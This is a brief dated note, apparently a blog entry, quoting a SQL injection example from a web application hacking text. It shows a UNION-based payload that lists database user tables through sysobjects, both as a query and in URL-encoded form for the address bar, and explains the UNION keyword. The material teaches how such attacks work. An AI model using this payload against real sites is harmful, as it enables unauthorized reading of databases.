Jan 28, 2010 0
Union
select ErrorMessage from ErrorMessages where ErrorCode = 9 union select name from sysobjects where xtype='u'
on the address bar
ErrorCode=2%20union%20select%20name%20from%20sysobjects%20where
%20xtype='u'
Union keyword tells SQL to combine two statements into one.
Source: Web Application Hacking, SPI Dynamics